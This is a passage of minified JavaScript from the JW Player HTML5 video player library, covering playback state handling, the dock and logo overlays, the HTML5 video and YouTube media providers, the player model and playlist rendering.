o(R){A=true;B();P.display_text.innerHTML=R.error;_show(P.display_text);P.display_text.style.top=((u-P.display_text.getBoundingClientRect().height)/2)+"px"}function E(){P.display_image.style.display="none"}function p(R){if((R.type==a.api.events.JWPLAYER_PLAYER_STATE||R.type==a.api.events.JWPLAYER_PLAYLIST_ITEM)&&A){A=false;_hide(P.display_text)}var S=h.jwGetState();if(S==t){return}t=S;if(z>=0){clearTimeout(z)}if(K||h.jwGetState()==a.api.events.state.PLAYING||h.jwGetState()==a.api.events.state.PAUSED){r(h.jwGetState())}else{z=setTimeout(l(h.jwGetState()),500)}}function l(R){return(function(){r(R)})}function r(R){if(_utils.exists(I)){clearInterval(I);I=null;_utils.animations.rotate(P.display_icon,0)}switch(R){case a.api.events.state.BUFFERING:if(_utils.isIOS()){E();B()}else{if(h.jwGetPlaylist()[h.jwGetItem()].provider=="sound"){v()}s=0;I=setInterval(function(){s+=J;_utils.animations.rotate(P.display_icon,s%360)},q);O("bufferIcon");K=true}break;case a.api.events.state.PAUSED:if(!_utils.isIOS()){if(h.jwGetPlaylist()[h.jwGetItem()].provider!="sound"){_css(P.display_image,{background:"transparent no-repeat center center"})}O("playIcon");K=true}break;case a.api.events.state.IDLE:if(h.jwGetPlaylist()[h.jwGetItem()]&&h.jwGetPlaylist()[h.jwGetItem()].image){v()}else{E()}O("playIcon");K=true;break;default:if(h.jwGetPlaylist()[h.jwGetItem()]&&h.jwGetPlaylist()[h.jwGetItem()].provider=="sound"){if(_utils.isIOS()){E();K=false}else{v()}}else{E();K=false}if(h.jwGetMute()&&Q.showmute){O("muteIcon")}else{B()}break}z=-1}function v(){if(h.jwGetPlaylist()[h.jwGetItem()]&&h.jwGetPlaylist()[h.jwGetItem()].image){_css(P.display_image,{display:"block"});P.display_image.src=_utils.getAbsolutePath(h.jwGetPlaylist()[h.jwGetItem()].image)}}function x(R){return function(){if(!n){return}if(!g&&d!=R){d=R;H.sendEvent(R,{component:"display",boundingRect:_utils.getDimensions(P.display_iconBackground)})}}}var F=x(a.api.events.JWPLAYER_COMPONENT_SHOW);var M=x(a.api.events.JWPLAYER_COMPONENT_HIDE);return this}})(jwplayer);(function(a){_css=a.utils.css;a.html5.dock=function(p,u){function q(){return{align:a.html5.view.positions.RIGHT}}var k=a.utils.extend({},q(),u);if(k.align=="FALSE"){return}var f={};var s=[];var g;var v;var d=false;var t=false;var e={x:0,y:0,width:0,height:0};var r;var j=new a.html5.eventdispatcher();_utils.extend(this,j);var m=document.createElement("div");m.id=p.id+"_jwplayer_dock";p.jwAddEventListener(a.api.events.JWPLAYER_PLAYER_STATE,l);this.getDisplayElement=function(){return m};this.setButton=function(A,x,y,z){if(!x&&f[A]){a.utils.arrays.remove(s,A);m.removeChild(f[A].div);delete f[A]}else{if(x){if(!f[A]){f[A]={}}f[A].handler=x;f[A].outGraphic=y;f[A].overGraphic=z;if(!f[A].div){s.push(A);f[A].div=document.createElement("div");f[A].div.style.position="relative";m.appendChild(f[A].div);f[A].div.appendChild(document.createElement("img"));f[A].div.childNodes[0].style.position="absolute";f[A].div.childNodes[0].style.left=0;f[A].div.childNodes[0].style.top=0;f[A].div.childNodes[0].style.zIndex=10;f[A].div.childNodes[0].style.cursor="pointer";f[A].div.appendChild(document.createElement("img"));f[A].div.childNodes[1].style.position="absolute";f[A].div.childNodes[1].style.left=0;f[A].div.childNodes[1].style.top=0;if(p.skin.getSkinElement("dock","button")){f[A].div.childNodes[1].src=p.skin.getSkinElement("dock","button").src}f[A].div.childNodes[1].style.zIndex=9;f[A].div.childNodes[1].style.cursor="pointer";f[A].div.onmouseover=function(){if(f[A].overGraphic){f[A].div.childNodes[0].src=f[A].overGraphic}if(p.skin.getSkinElement("dock","buttonOver")){f[A].div.childNodes[1].src=p.skin.getSkinElement("dock","buttonOver").src}};f[A].div.onmouseout=function(){if(f[A].outGraphic){f[A].div.childNodes[0].src=f[A].outGraphic}if(p.skin.getSkinElement("dock","button")){f[A].div.childNodes[1].src=p.skin.getSkinElement("dock","button").src}};if(f[A].overGraphic){f[A].div.childNodes[0].src=f[A].overGraphic}if(f[A].outGraphic){f[A].div.childNodes[0].src=f[A].outGraphic}if(p.skin.getSkinElement("dock","button")){f[A].div.childNodes[1].src=p.skin.getSkinElement("dock","button").src}}if(x){f[A].div.onclick=function(B){B.preventDefault();a(p.id).callback(A);if(f[A].overGraphic){f[A].div.childNodes[0].src=f[A].overGraphic}if(p.skin.getSkinElement("dock","button")){f[A].div.childNodes[1].src=p.skin.getSkinElement("dock","button").src}}}}}h(g,v)};function h(x,J){if(s.length>0){var y=10;var I=y;var F=-1;var G=p.skin.getSkinElement("dock","button").height;var E=p.skin.getSkinElement("dock","button").width;var C=x-E-y;var H,B;if(k.align==a.html5.view.positions.LEFT){F=1;C=y}for(var z=0;z<s.length;z++){var K=Math.floor(I/J);if((I+G+y)>((K+1)*J)){I=((K+1)*J)+y;K=Math.floor(I/J)}var A=f[s[z]].div;A.style.top=(I%J)+"px";A.style.left=(C+(p.skin.getSkinElement("dock","button").width+y)*K*F)+"px";var D={x:a.utils.parseDimension(A.style.left),y:a.utils.parseDimension(A.style.top),width:E,height:G};if(!H||(D.x<=H.x&&D.y<=H.y)){H=D}if(!B||(D.x>=B.x&&D.y>=B.y)){B=D}I+=p.skin.getSkinElement("dock","button").height+y}e={x:H.x,y:H.y,width:B.x-H.x+B.width,height:H.y-B.y+B.height}}if(t!=p.jwGetFullscreen()||g!=x||v!=J){g=x;v=J;t=p.jwGetFullscreen();r=undefined;setTimeout(n,1)}}function b(x){return function(){if(!d&&r!=x&&s.length>0){r=x;j.sendEvent(x,{component:"dock",boundingRect:e})}}}function l(x){if(a.utils.isIOS()){switch(x.newstate){case a.api.events.state.IDLE:o();break;default:c();break}}}var n=b(a.api.events.JWPLAYER_COMPONENT_SHOW);var w=b(a.api.events.JWPLAYER_COMPONENT_HIDE);this.resize=h;var o=function(){_css(m,{display:"block"});if(d){d=false;n()}};var c=function(){_css(m,{display:"none"});if(!d){w();d=true}};this.hide=c;this.show=o;return this}})(jwplayer);(function(a){a.html5.eventdispatcher=function(d,b){var c=new a.events.eventdispatcher(b);a.utils.extend(this,c);this.sendEvent=function(e,f){if(!a.utils.exists(f)){f={}}a.utils.extend(f,{id:d,version:a.version,type:e});c.sendEvent(e,f)}}})(jwplayer);(function(a){var b={prefix:"",file:"",link:"",margin:8,out:0.5,over:1,timeout:5,hide:true,position:"bottom-left"};_css=a.utils.css;a.html5.logo=function(n,r){var q=n;var u;var d;var t;var h=false;g();function g(){o();c();l()}function o(){if(b.prefix){var v=n.version.split(/\W/).splice(0,2).join("/");if(b.prefix.indexOf(v)<0){b.prefix+=v+"/"}}if(r.position==a.html5.view.positions.OVER){r.position=b.position}d=a.utils.extend({},b,r)}function c(){t=document.createElement("img");t.id=q.id+"_jwplayer_logo";t.style.display="none";t.onload=function(v){_css(t,k());q.jwAddEventListener(a.api.events.JWPLAYER_PLAYER_STATE,j);p()};if(!d.file){return}if(d.file.indexOf("http://")===0){t.src=d.file}else{t.src=d.prefix+d.file}}if(!d.file){return}this.resize=function(w,v){};this.getDisplayElement=function(){return t};function l(){if(d.link){t.onmouseover=f;t.onmouseout=p;t.onclick=s}else{this.mouseEnabled=false}}function s(v){if(typeof v!="undefined"){v.stopPropagation()}if(!h){return}q.jwPause();q.jwSetFullscreen(false);if(d.link){window.open(d.link,"_top")}return}function p(v){if(d.link&&h){t.style.opacity=d.out}return}function f(v){if(d.hide.toString()=="true"&&h){t.style.opacity=d.over}return}function k(){var x={textDecoration:"none",position:"absolute",cursor:"pointer"};x.display=(d.hide.toString()=="true")?"none":"block";var w=d.position.toLowerCase().split("-");for(var v in w){x[w[v]]=d.margin}return x}function m(){if(d.hide.toString()=="true"){t.style.display="block";t.style.opacity=0;a.utils.fadeTo(t,d.out,0.1,parseFloat(t.style.opacity));u=setTimeout(function(){e()},d.timeout*1000)}h=true}function e(){h=false;if(d.hide.toString()=="true"){a.utils.fadeTo(t,0,0.1,parseFloat(t.style.opacity))}}function j(v){if(v.newstate==a.api.events.state.BUFFERING){clearTimeout(u);m()}}return this}})(jwplayer);(function(a){var c={ended:a.api.events.state.IDLE,playing:a.api.events.state.PLAYING,pause:a.api.events.state.PAUSED,buffering:a.api.events.state.BUFFERING};var e=a.utils;var b=e.css;var d=e.isIOS();a.html5.mediavideo=function(h,s){var r={abort:n,canplay:k,canplaythrough:k,durationchange:G,emptied:n,ended:k,error:u,loadeddata:G,loadedmetadata:G,loadstart:k,pause:k,play:n,playing:k,progress:v,ratechange:n,seeked:k,seeking:k,stalled:k,suspend:k,timeupdate:D,volumechange:n,waiting:k,canshowcurrentframe:n,dataunavailable:n,empty:n,load:z,loadedfirstframe:n};var j=new a.html5.eventdispatcher();e.extend(this,j);var y=h,l=s,m,B,A,x,f,H=false,C,p,q;o();this.load=function(J,K){if(typeof K=="undefined"){K=true}x=J;e.empty(m);q=0;if(J.levels&&J.levels.length>0){if(J.levels.length==1){m.src=J.levels[0].file}else{if(m.src){m.removeAttribute("src")}for(var I=0;I<J.levels.length;I++){var L=m.ownerDocument.createElement("source");L.src=J.levels[I].file;m.appendChild(L);q++}}}else{m.src=J.file}if(d){if(J.image){m.poster=J.image}m.controls="controls";m.style.display="block"}C=p=A=false;y.buffer=0;if(!e.exists(J.start)){J.start=0}y.duration=J.duration;j.sendEvent(a.api.events.JWPLAYER_MEDIA_LOADED);if((!d&&J.levels.length==1)||!H){m.load()}H=false;if(K){E(a.api.events.state.BUFFERING);j.sendEvent(a.api.events.JWPLAYER_MEDIA_BUFFER,{bufferPercent:0});this.play()}};this.play=function(){if(B!=a.api.events.state.PLAYING){t();if(p){E(a.api.events.state.PLAYING)}else{E(a.api.events.state.BUFFERING)}m.play()}};this.pause=function(){m.pause();E(a.api.events.state.PAUSED)};this.seek=function(I){if(!(y.duration<=0||isNaN(y.duration))&&!(y.position<=0||isNaN(y.position))){m.currentTime=I;m.play()}};_stop=this.stop=function(I){if(!e.exists(I)){I=true}g();if(I){m.style.display="none";p=false;var J=navigator.userAgent;if(J.match(/chrome/i)){m.src=undefined}else{if(J.match(/safari/i) || J.match(/firefox/i)){m.removeAttribute("src")}else{m.src=""}}m.removeAttribute("controls");m.removeAttribute("poster");e.empty(m);m.load();H=true;if(m.webkitSupportsFullscreen){try{m.webkitExitFullscreen()}catch(K){}}}E(a.api.events.state.IDLE)};this.fullscreen=function(I){if(I===true){this.resize("100%","100%")}else{this.resize(y.config.width,y.config.height)}};this.resize=function(J,I){if(false){b(l,{width:J,height:I})}j.sendEvent(a.api.events.JWPLAYER_MEDIA_RESIZE,{fullscreen:y.fullscreen,width:J,hieght:I})};this.volume=function(I){if(!d){m.volume=I/100;y.volume=I;j.sendEvent(a.api.events.JWPLAYER_MEDIA_VOLUME,{volume:Math.round(I)})}};this.mute=function(I){if(!d){m.muted=I;y.mute=I;j.sendEvent(a.api.events.JWPLAYER_MEDIA_MUTE,{mute:I})}};this.getDisplayElement=function(){return m};this.hasChrome=function(){return false};function o(){m=document.createElement("video");B=a.api.events.state.IDLE;for(var I in r){m.addEventListener(I,function(J){if(e.exists(J.target.parentNode)){r[J.type](J)}},true)}m.setAttribute("x-webkit-airplay","allow");if(l.parentNode){l.parentNode.replaceChild(m,l)}if(!m.id){m.id=l.id}}function E(I){if(I==a.api.events.state.PAUSED&&B==a.api.events.state.IDLE){return}if(B!=I){var J=B;y.state=B=I;j.sendEvent(a.api.events.JWPLAYER_PLAYER_STATE,{oldstate:J,newstate:I})}}function n(I){}function v(K){var J;if(e.exists(K)&&K.lengthComputable&&K.total){J=K.loaded/K.total*100}else{if(e.exists(m.buffered)&&(m.buffered.length>0)){var I=m.buffered.length-1;if(I>=0){J=m.buffered.end(I)/m.duration*100}}}if(p===false&&B==a.api.events.state.BUFFERING){j.sendEvent(a.api.events.JWPLAYER_MEDIA_BUFFER_FULL);p=true}if(!C){if(J==100){C=true}if(e.exists(J)&&(J>y.buffer)){y.buffer=Math.round(J);j.sendEvent(a.api.events.JWPLAYER_MEDIA_BUFFER,{bufferPercent:Math.round(J)})}}}function D(J){if(e.exists(J)&&e.exists(J.target)){if(!isNaN(J.target.duration)&&(isNaN(y.duration)||y.duration<1)){if(J.target.duration==Infinity){y.duration=0}else{y.duration=Math.round(J.target.duration*10)/10}}if(!A&&m.readyState>0){m.style.display="block";E(a.api.events.state.PLAYING)}if(B==a.api.events.state.PLAYING){if(!A&&m.readyState>0){A=true;try{if(m.currentTime<x.start){m.currentTime=x.start}}catch(I){}m.volume=y.volume/100;m.muted=y.mute}y.position=y.duration>0?(Math.round(J.target.currentTime*10)/10):0;j.sendEvent(a.api.events.JWPLAYER_MEDIA_TIME,{position:y.position,duration:y.duration});if(y.position>=y.duration&&(y.position>0||y.duration>0)){w()}}}v(J)}function z(I){}function k(I){if(c[I.type]){if(I.type=="ended"){w()}else{E(c[I.type])}}}function G(I){var J={height:I.target.videoHeight,width:I.target.videoWidth,duration:Math.round(I.target.duration*10)/10};if((y.duration===0||isNaN(y.duration))&&I.target.duration!=Infinity){y.duration=Math.round(I.target.duration*10)/10}j.sendEvent(a.api.events.JWPLAYER_MEDIA_META,{metadata:J})}function u(K){if(B==a.api.events.state.IDLE){return}var J="There was an error: ";if((K.target.error&&K.target.tagName.toLowerCase()=="video")||K.target.parentNode.error&&K.target.parentNode.tagName.toLowerCase()=="video"){var I=!e.exists(K.target.error)?K.target.parentNode.error:K.target.error;switch(I.code){case I.MEDIA_ERR_ABORTED:J="You aborted the video playback: ";break;case I.MEDIA_ERR_NETWORK:J="A network error caused the video download to fail part-way: ";break;case I.MEDIA_ERR_DECODE:J="The video playback was aborted due to a corruption problem or because the video used features your browser did not support: ";break;case I.MEDIA_ERR_SRC_NOT_SUPPORTED:J="The video could not be loaded, either because the server or network failed or because the format is not supported: ";break;default:J="An unknown error occurred: ";break}}else{if(K.target.tagName.toLowerCase()=="source"){q--;if(q>0){return}J="The video could not be loaded, either because the server or network failed or because the format is not supported: "}else{e.log("An unknown error occurred.  Continuing...");return}}_stop(false);J+=F();_error=true;j.sendEvent(a.api.events.JWPLAYER_ERROR,{error:J});return}function F(){var K="";for(var J in x.levels){var I=x.levels[J];var L=l.ownerDocument.createElement("source");K+=a.utils.getAbsolutePath(I.file);if(J<(x.levels.length-1)){K+=", "}}return K}function t(){if(!e.exists(f)){f=setInterval(function(){v()},100)}}function g(){clearInterval(f);f=null}function w(){if(B!=a.api.events.state.IDLE){_stop(false);j.sendEvent(a.api.events.JWPLAYER_MEDIA_COMPLETE)}}}})(jwplayer);(function(a){var c={ended:a.api.events.state.IDLE,playing:a.api.events.state.PLAYING,pause:a.api.events.state.PAUSED,buffering:a.api.events.state.BUFFERING};var b=a.utils.css;a.html5.mediayoutube=function(j,e){var f=new a.html5.eventdispatcher();a.utils.extend(this,f);var l=j;var h=document.getElementById(e.id);var g=a.api.events.state.IDLE;var n,m;function k(p){if(g!=p){var q=g;l.state=p;g=p;f.sendEvent(a.api.events.JWPLAYER_PLAYER_STATE,{oldstate:q,newstate:p})}}this.getDisplayElement=function(){return h};this.play=function(){if(g==a.api.events.state.IDLE){f.sendEvent(a.api.events.JWPLAYER_MEDIA_BUFFER,{bufferPercent:100});f.sendEvent(a.api.events.JWPLAYER_MEDIA_BUFFER_FULL);k(a.api.events.state.PLAYING)}else{if(g==a.api.events.state.PAUSED){k(a.api.events.state.PLAYING)}}};this.pause=function(){k(a.api.events.state.PAUSED)};this.seek=function(p){};this.stop=function(p){if(!_utils.exists(p)){p=true}l.position=0;k(a.api.events.state.IDLE);if(p){b(h,{display:"none"})}};this.volume=function(p){l.volume=p;f.sendEvent(a.api.events.JWPLAYER_MEDIA_VOLUME,{volume:Math.round(p)})};this.mute=function(p){h.muted=p;l.mute=p;f.sendEvent(a.api.events.JWPLAYER_MEDIA_MUTE,{mute:p})};this.resize=function(q,p){if(q*p>0&&n){n.width=m.width=q;n.height=m.height=p}f.sendEvent(a.api.events.JWPLAYER_MEDIA_RESIZE,{fullscreen:l.fullscreen,width:q,height:p})};this.fullscreen=function(p){if(p===true){this.resize("100%","100%")}else{this.resize(l.config.width,l.config.height)}};this.load=function(p){o(p);b(n,{display:"block"});k(a.api.events.state.BUFFERING);f.sendEvent(a.api.events.JWPLAYER_MEDIA_BUFFER,{bufferPercent:0});f.sendEvent(a.api.events.JWPLAYER_MEDIA_LOADED);this.play()};this.hasChrome=function(){return(g!=a.api.events.state.IDLE)};function o(v){var s=v.levels[0].file;s=["http://www.youtube.com/v/",d(s),"&amp;hl=en_US&amp;fs=1&autoplay=1"].join("");n=document.createElement("object");n.id=h.id;n.style.position="absolute";var u={movie:s,allowfullscreen:"true",allowscriptaccess:"always"};for(var p in u){var t=document.createElement("param");t.name=p;t.value=u[p];n.appendChild(t)}m=document.createElement("embed");n.appendChild(m);var q={src:s,type:"application/x-shockwave-flash",allowfullscreen:"true",allowscriptaccess:"always",width:n.width,height:n.height};for(var r in q){m.setAttribute(r,q[r])}n.appendChild(m);n.style.zIndex=2147483000;if(h!=n&&h.parentNode){h.parentNode.replaceChild(n,h)}h=n}function d(q){var p=q.split(/\?|\#\!/);var s="";for(var r=0;r<p.length;r++){if(p[r].substr(0,2)=="v="){s=p[r].substr(2)}}if(s==""){if(q.indexOf("/v/")>=0){s=q.substr(q.indexOf("/v/")+3)}else{if(q.indexOf("youtu.be")>=0){s=q.substr(q.indexOf("youtu.be/")+9)}else{s=q}}}if(s.indexOf("?")>-1){s=s.substr(0,s.indexOf("?"))}if(s.indexOf("&")>-1){s=s.substr(0,s.indexOf("&"))}return s}this.embed=m;return this}})(jwplayer);(function(jwplayer){var _configurableStateVariables=["width","height","start","duration","volume","mute","fullscreen","item","plugins","stretching"];jwplayer.html5.model=function(api,container,options){var _api=api;var _container=container;var _model={id:_container.id,playlist:[],state:jwplayer.api.events.state.IDLE,position:0,buffer:0,config:{width:480,height:320,item:-1,skin:undefined,file:undefined,image:undefined,start:0,duration:0,bufferlength:5,volume:90,mute:false,fullscreen:false,repeat:"",stretching:jwplayer.utils.stretching.UNIFORM,autostart:false,debug:undefined,screencolor:undefined}};var _media;var _eventDispatcher=new jwplayer.html5.eventdispatcher();var _components=["display","logo","controlbar","playlist","dock"];jwplayer.utils.extend(_model,_eventDispatcher);for(var option in options){if(typeof options[option]=="string"){var type=/color$/.test(option)?"color":null;options[option]=jwplayer.utils.typechecker(options[option],type)}var config=_model.config;var path=option.split(".");for(var edge in path){if(edge==path.length-1){config[path[edge]]=options[option]}else{if(!jwplayer.utils.exists(config[path[edge]])){config[path[edge]]={}}config=config[path[edge]]}}}for(var index in _configurableStateVariables){var configurableStateVariable=_configurableStateVariables[index];_model[configurableStateVariable]=_model.config[configurableStateVariable]}var pluginorder=_components.concat([]);if(jwplayer.utils.exists(_model.plugins)){if(typeof _model.plugins=="string"){var userplugins=_model.plugins.split(",");for(var userplugin in userplugins){if(typeof userplugins[userplugin]=="string"){pluginorder.push(userplugins[userplugin].replace(/^\s+|\s+$/g,""))}}}}if(jwplayer.utils.isIOS()){pluginorder=["display","logo","dock","playlist"];if(!jwplayer.utils.exists(_model.config.repeat)){_model.config.repeat="list"}}else{if(_model.config.chromeless){pluginorder=["logo","dock","playlist"];if(!jwplayer.utils.exists(_model.config.repeat)){_model.config.repeat="list"}}}_model.plugins={order:pluginorder,config:{},object:{}};if(typeof _model.config.components!="undefined"){for(var component in _model.config.components){_model.plugins.config[component]=_model.config.components[component]}}for(var pluginIndex in _model.plugins.order){var pluginName=_model.plugins.order[pluginIndex];var pluginConfig=!jwplayer.utils.exists(_model.plugins.config[pluginName])?{}:_model.plugins.config[pluginName];_model.plugins.config[pluginName]=!jwplayer.utils.exists(_model.plugins.config[pluginName])?pluginConfig:jwplayer.utils.extend(_model.plugins.config[pluginName],pluginConfig);if(!jwplayer.utils.exists(_model.plugins.config[pluginName].position)){if(pluginName=="playlist"){_model.plugins.config[pluginName].position=jwplayer.html5.view.positions.NONE}else{_model.plugins.config[pluginName].position=jwplayer.html5.view.positions.OVER}}else{_model.plugins.config[pluginName].position=_model.plugins.config[pluginName].position.toString().toUpperCase()}}if(typeof _model.plugins.config.dock!="undefined"){if(typeof _model.plugins.config.dock!="object"){var position=_model.plugins.config.dock.toString().toUpperCase();_model.plugins.config.dock={position:position}}if(typeof _model.plugins.config.dock.position!="undefined"){_model.plugins.config.dock.align=_model.plugins.config.dock.position;_model.plugins.config.dock.position=jwplayer.html5.view.positions.OVER}}function _loadExternal(playlistfile){var loader=new jwplayer.html5.playlistloader();loader.addEventListener(jwplayer.api.events.JWPLAYER_PLAYLIST_LOADED,function(evt){_model.playlist=new jwplayer.html5.playlist(evt);_loadComplete(true)});loader.addEventListener(jwplayer.api.events.JWPLAYER_ERROR,function(evt){_model.playlist=new jwplayer.html5.playlist({playlist:[]});_loadComplete(false)});loader.load(playlistfile)}function _loadComplete(){if(_model.config.shuffle){_model.item=_getShuffleItem()}else{if(_model.config.item>=_model.playlist.length){_model.config.item=_model.playlist.length-1}else{if(_model.config.item<0){_model.config.item=0}}_model.item=_model.config.item}_eventDispatcher.sendEvent(jwplayer.api.events.JWPLAYER_PLAYLIST_LOADED,{playlist:_model.playlist});_eventDispatcher.sendEvent(jwplayer.api.events.JWPLAYER_PLAYLIST_ITEM,{index:_model.item})}_model.loadPlaylist=function(arg){var input;if(typeof arg=="string"){if(arg.indexOf("[")==0||arg.indexOf("{")=="0"){try{input=eval(arg)}catch(err){input=arg}}else{input=arg}}else{input=arg}var config;switch(jwplayer.utils.typeOf(input)){case"object":config=input;break;case"array":config={playlist:input};break;default:_loadExternal(input);return;break}_model.playlist=new jwplayer.html5.playlist(config);if(jwplayer.utils.extension(_model.playlist[0].file)=="xml"){_loadExternal(_model.playlist[0].file)}else{_loadComplete()}};function _getShuffleItem(){var result=null;if(_model.playlist.length>1){while(!jwplayer.utils.exists(result)){result=Math.floor(Math.random()*_model.playlist.length);if(result==_model.item){result=null}}}else{result=0}return result}function forward(evt){if(evt.type==jwplayer.api.events.JWPLAYER_MEDIA_LOADED){_container=_media.getDisplayElement()}_eventDispatcher.sendEvent(evt.type,evt)}var _mediaProviders={};_model.setActiveMediaProvider=function(playlistItem){if(playlistItem.provider=="audio"){playlistItem.provider="sound"}var provider=playlistItem.provider;var current=_media?_media.getDisplayElement():null;if(provider=="sound"||provider=="http"||provider==""){provider="video"}if(!jwplayer.utils.exists(_mediaProviders[provider])){switch(provider){case"video":_media=new jwplayer.html5.mediavideo(_model,current?current:_container);break;case"youtube":_media=new jwplayer.html5.mediayoutube(_model,current?current:_container);break}if(!jwplayer.utils.exists(_media)){return false}_media.addGlobalListener(forward);_mediaProviders[provider]=_media}else{if(_media!=_mediaProviders[provider]){if(_media){_media.stop()}_media=_mediaProviders[provider]}}return true};_model.getMedia=function(){return _media};_model.seek=function(pos){_eventDispatcher.sendEvent(jwplayer.api.events.JWPLAYER_MEDIA_SEEK,{position:_model.position,offset:pos});return _media.seek(pos)};_model.setupPlugins=function(){if(!jwplayer.utils.exists(_model.plugins)||!jwplayer.utils.exists(_model.plugins.order)||_model.plugins.order.length==0){jwplayer.utils.log("No plugins to set up");return _model}for(var i=0;i<_model.plugins.order.length;i++){try{var pluginName=_model.plugins.order[i];if(jwplayer.utils.exists(jwplayer.html5[pluginName])){if(pluginName=="playlist"){_model.plugins.object[pluginName]=new jwplayer.html5.playlistcomponent(_api,_model.plugins.config[pluginName])}else{_model.plugins.object[pluginName]=new jwplayer.html5[pluginName](_api,_model.plugins.config[pluginName])}}else{_model.plugins.order.splice(plugin,plugin+1)}if(typeof _model.plugins.object[pluginName].addGlobalListener=="function"){_model.plugins.object[pluginName].addGlobalListener(forward)}}catch(err){jwplayer.utils.log("Could not setup "+pluginName)}}};return _model}})(jwplayer);(function(a){a.html5.playlist=function(b){var d=[];if(b.playlist&&b.playlist instanceof Array&&b.playlist.length>0){for(var c in b.playlist){if(!isNaN(parseInt(c))){d.push(new a.html5.playlistitem(b.playlist[c]))}}}else{d.push(new a.html5.playlistitem(b))}return d}})(jwplayer);(function(a){var c={size:180,position:a.html5.view.positions.NONE,itemheight:60,thumbs:true,fontcolor:"#000000",overcolor:"",activecolor:"",backgroundcolor:"#f8f8f8",font:"_sans",fontsize:"",fontstyle:"",fontweight:""};var b={_sans:"Arial, Helvetica, sans-serif",_serif:"Times, Times New Roman, serif",_typewriter:"Courier New, Courier, monospace"};_utils=a.utils;_css=_utils.css;_hide=function(d){_css(d,{display:"none"})};_show=function(d){_css(d,{display:"block"})};a.html5.playlistcomponent=function(r,B){var w=r;var e=a.utils.extend({},c,w.skin.getComponentSettings("playlist"),B);if(e.position==a.html5.view.positions.NONE||typeof a.html5.view.positions[e.position]=="undefined"){return}var x;var l;var C;var d;var g;var f;var k=-1;var h={background:undefined,item:undefined,itemOver:undefined,itemImage:undefined,itemActive:undefined};this.getDisplayElement=function(){return x};this.resize=function(F,D){l=F;C=D;if(w.jwGetFullscreen()){_hide(x)}else{var E={display:"block",width:l,height:C};_css(x,E)}};this.show=function(){_show(x)};this.hide=function(){_hide(x)};function j(){x=document.createElement("div");x.id=w.id+"_jwplayer_playlistcomponent";switch(e.position){case a.html5.view.positions.RIGHT:case a.html5.view.positions.LEFT:x.style.width=e.size+"px";break;case a.html5.view.positions.TOP:case a.html5.view.positions.BOTTOM:x.style.height=e.size+"px";break}A();if(h.item){e.itemheight=h.item.height}x.style.backgroundColor="#C6C6C6";w.jwAddEventListener(a.api.events.JWPLAYER_PLAYLIST_LOADED,s);w.jwAddEventListener(a.api.events.JWPLAYER_PLAYLIST_ITEM,u);w.jwAddEventListener(a.api.events.JWPLAYER_PLAYER_STATE,m)}function p(){var D=document.createElement("ul");_css(D,{width:x.style.width,minWidth:x.style.width,height:x.style.height,backgroundColor:e.backgroundcolor,backgroundImage:h.background?"url("+h.background.src+")":"",color:e.fontcolor,listStyle:"none",margin:0,padding:0,fontFamily:b[e.font]?b[e.font]:b._sans,fontSize:(e.fontsize?e.fontsize:11)+"px",fontStyle:e.fontstyle,fontWeight:e.fontweight,overflowY:"auto"});return D}function y(D){return function(){var E=f.getElementsByClassName("item")[D];var F=e.fontcolor;var G=h.item?"url("+h.item.src+")":"";if(D==w.jwGetPlaylistIndex()){if(e.activecolor!==""){F=e.activecolor}if(h.itemActive){G="url("+h.itemActive.src+")"}}_css(E,{color:e.overcolor!==""?e.overcolor:F,backgroundImage:h.itemOver?"url("+h.itemOver.src+")":G})}}function o(D){return function(){var E=f.getElementsByClassName("item")[D];var F=e.fontcolor;var G=h.item?"url("+h.item.src+")":"";if(D==w.jwGetPlaylistIndex()){if(e.activecolor!==""){F=e.activecolor}if(h.itemActive){G="url("+h.itemActive.src+")"}}_css(E,{color:F,backgroundImage:G})}}function q(I){var P=d[I];var O=document.createElement("li");O.className="item";_css(O,{height:e.itemheight,display:"block",cursor:"pointer",backgroundImage:h.item?"url("+h.item.src+")":"",backgroundSize:"100% "+e.itemheight+"px"});O.onmouseover=y(I);O.onmouseout=o(I);var J=document.createElement("div");var F=new Image();var K=0;var L=0;var M=0;if(v()&&(P.image||P["playlist.image"]||h.itemImage)){F.className="image";if(h.itemImage){K=(e.itemheight-h.itemImage.height)/2;L=h.itemImage.width;M=h.itemImage.height}else{L=e.itemheight*4/3;M=e.itemheight}_css(J,{height:M,width:L,"float":"left",styleFloat:"left",cssFloat:"left",margin:"0 5px 0 0",background:"black",overflow:"hidden",margin:K+"px",position:"relative"});_css(F,{position:"relative"});J.appendChild(F);F.onload=function(){a.utils.stretch(a.utils.stretching.FILL,F,L,M,this.naturalWidth,this.naturalHeight)};if(P["playlist.image"]){F.src=P["playlist.image"]}else{if(P.image){F.src=P.image}else{if(h.itemImage){F.src=h.itemImage.src}}}O.appendChild(J)}var E=l-L-K*2;if(C<e.itemheight*d.length){E-=15}var D=document.createElement("div");_css(D,{position:"relative",height:"100%",overflow:"hidden"});var G=document.createElement("span");if(P.duration>0){G.className="duration";_css(G,{fontSize:(e.fontsize?e.fontsize:11)+"px",fontWeight:(e.fontweight?e.fontweight:"bold"),width:"40px",height:e.fontsize?e.fontsize+10:20,lineHeight:24,"float":"right",styleFloat:"right",cssFloat:"right"});G.innerHTML=_utils.timeFormat(P.duration);D.appendChild(G)}var N=document.createElement("span");N.className="title";_css(N,{padding:"5px 5px 0 "+(K?0:"5px"),height:e.fontsize?e.fontsize+10:20,lineHeight:e.fontsize?e.fontsize+10:20,overflow:"hidden","float":"left",styleFloat:"left",cssFloat:"left",width:((P.duration>0)?E-50:E)-10+"px",fontSize:(e.fontsize?e.fontsize:13)+"px",fontWeight:(e.fontweight?e.fontweight:"bold")});N.innerHTML=P?P.title:"";D.appendChild(N);if(P.description){var H=document.createElement("span");H.className="description";_css(H,{display:"block","float":"left",styleFloat:"left",cssFloat:"left",margin:0,paddingLeft:N.style.paddingLeft,paddingRight:N.style.paddingRight,lineHeight:(e.fontsize?e.fontsize+4:16)+"px",overflow:"hidden",position:"relative"});H.innerHTML=P.description;D.appendChild(H)}O.appendChild(D);return O}function s(E){x.innerHTML="";d=w.jwGetPlaylist();if(!d){return}items=[];f=p();for(var F=0;F<d.length;F++){var D=q(F);D.onclick=z(F);f.appendChild(D);items.push(D)}k=w.jwGetPlaylistIndex();o(k)();x.appendChild(f);if(_utils.isIOS()&&window.iScroll){f.style.height=e.itemheight*d.length+"px";var G=new iScroll(x.id)}}function z(D){return function(){w.jwPlaylistItem(D);w.jwPlay(true)}}function n(){f.scrollTop=w.jwGetPlaylistIndex()*e.itemheight}function v(){return e.thumbs.toString().toLowerCase()=="true"}function 